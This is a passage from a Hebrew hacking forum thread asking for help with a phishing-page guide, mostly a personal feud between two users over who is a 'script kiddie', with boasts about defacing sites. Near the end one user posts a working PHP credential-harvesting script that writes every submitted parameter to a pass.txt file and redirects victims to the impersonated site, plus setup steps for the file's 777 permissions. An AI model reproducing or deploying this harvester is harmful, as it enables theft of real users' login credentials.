עזרה | במדריך להכין דף פישינג (של יוסקה) - עמוד 2

[Yoske]

אתה לא קידי ?

[razkid]

לא ואתה? לפי משאיציק אמר תקעת לו סכין בגב...

[Yoske]

לא ואתה? לפי משאיציק אמר תקעת לו סכין בגב...

אתה רוצה הוכחה שאתה כן ? אני לא רוצה לעשות לך פדיחה אבל אם תרצה אני אוכיח לך.
ומה איציק קשור ? חחח סכין בגב ? אני לא חייב כלום לאף אחד.

[razkid]

תביא הוכחה שאני סקריפט קיד לא שאנשים שהשחטתי להם תאתרים אומרים. כמו יעקוב שבכה. יבגני שאין לו סקייפ וכ'ו..
אולי פעם הייתי סקריפט קיד זה לא אומר שאני עכשיו.
תביא הוכחה בפרטי.
ומה איציק קשור? לא חייב כלום לאפחד? מה אתה לא חייב לו? אני לא אפרט על מה וכ'ו..
לפותח האשכול.. קיבלת תשובה?

[Yoske]

23/02/2010 קיבלתי מכתב ביוטיוב מהמשתמש : razkid787 (מעניין מי זה).

במכתב היה את התוכן הבא (מצולם היישר מיוטיוב) :



דבר ראשון, אל תבוא לי עכשיו בתירוצים שפעם היית סקריפט קידס כי אתה לא קם בבוקר ואתה לא קידי.
דבר שני, תפתח ותדבר פה על מה שקרה עם איציק, אני לא שם על אף אחד.
דבר שלישי, אל תגיד מה קשור כי כל אידיוט יודע שזה מתיחה שעורכת קובץ HOST.

אז בחיאת RAZKID אל תבוא ותתחיל לזיין לי תשכל שאתה מבין משהו מהחיים שלך חוץ מSQL HTML וPHP שגם זה ברמה נמוכה.
אתה יכול לדבר עד מחר אבל אתה יודע וגם אני יודע מי אתה בדיוק, אז חלאס.
נשבר לי הזין כבר לשמוע אותך.

[razkid]

שלחתי את זה בערך לפני חצי שנה.. עוד שלא ידעתי מזה SQL inject.. זה היה ממזמן מזמן..

[Yoske]

ידעתי שהתירוץ הזה יגיע.

[razkid]

מה קשור תירוץ זה היה לפני חצי שנה..
אתה ידעת שה"תרוץ" הזה יגיע כי זה היה לפני חצי שנה אפילו יותר...

[Yoske]

תוך חצי שנה אתה מחשיב את עצמך "האקר".
אני כבר 10 שנים במחשב ואני לא מחשיב את עצמי "האקר".

[razkid]

נכון אתה מחשיב את עצמיך למאבטח מידע אני אשאל את איציק שיתחבר כמה זמן אתה לומד..

[JsT]

נכון אתה מחשיב את עצמיך למאבטח מידע אני אשאל את איציק שיתחבר כמה זמן אתה לומד..

הבחור יכול ללמד אותך יותר ממה שאתה תדע בחיים. אני עובד עם יוסי כבר שנה, הבחור מקבל גישות לאתרים ברמה בישביל מה? לאבטח אותם. שאתה תגיע למצב שיתנו לך לאבטח אתר סטטי דבר עם יוסי בסדר?
אתה כל היום מדבר שטויות, בלי כמעט להבין מה אתה אומר.
XFS? מושג שפעם ראשונה ששמעתי אותו ממך.
צריך לדעת PHP בישביל XSS? למה לא גם ASP?
מה הקשר בין בן אדם שלא מצליח לפתוח פישינג לבין שפות תיכנות?! מה?! מה הקשר?!
אין שום קשר. זאת התשובה. פשוט הסיומת דפוקה או משהו.

[danic0]

עדיין לא עובד לי
עוד עזרה מישהו ?

[razkid]

הבחור יכול ללמד אותך יותר ממה שאתה תדע בחיים. אני עובד עם יוסי כבר שנה, הבחור מקבל גישות לאתרים ברמה בישביל מה? לאבטח אותם. שאתה תגיע למצב שיתנו לך לאבטח אתר סטטי דבר עם יוסי בסדר?
אתה כל היום מדבר שטויות, בלי כמעט להבין מה אתה אומר.
XFS? מושג שפעם ראשונה ששמעתי אותו ממך.
צריך לדעת PHP בישביל XSS? למה לא גם ASP?
מה הקשר בין בן אדם שלא מצליח לפתוח פישינג לבין שפות תיכנות?! מה?! מה הקשר?!
אין שום קשר. זאת התשובה. פשוט הסיומת דפוקה או משהו.

אז אתה לא יודע כלום.. ובאמת אתה צודק לא צריך לדעת PHP בשביל XSS רק להעתיק קודים בלי שום מושג מהם. אני מדבר איתך על לדעת מה אתה עושה ואיך הבאג נוצר ואיך אתה מנצל. הוא לא מצליח אז שיבנה לבד..
אני אישית נגד תוכנות שמשרתות אותך כי אתה תיהיה שוב דבר בלי תוכנות. אתה לא תיהיה שווה בלי תוכנה.
לdanic0
<?[php
header("Location: http//www.blabla.co.il");
$handle = fopen("pass.txt", "a");
foreach($_GET as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
http://www.blabla.co.il=האתר שאתה רוצה לעשות עליו פישינג
שים בשרת קובץ בשם pass.txt תן לו הרשאות 777 וזהו.
תעשה במידה והתוכנה לא עובדת לך..
אפשר לנעול?

[danic0]

עוד לא .
מה זה ה777?
פורט?

[razkid]

הרשאות CHOMD.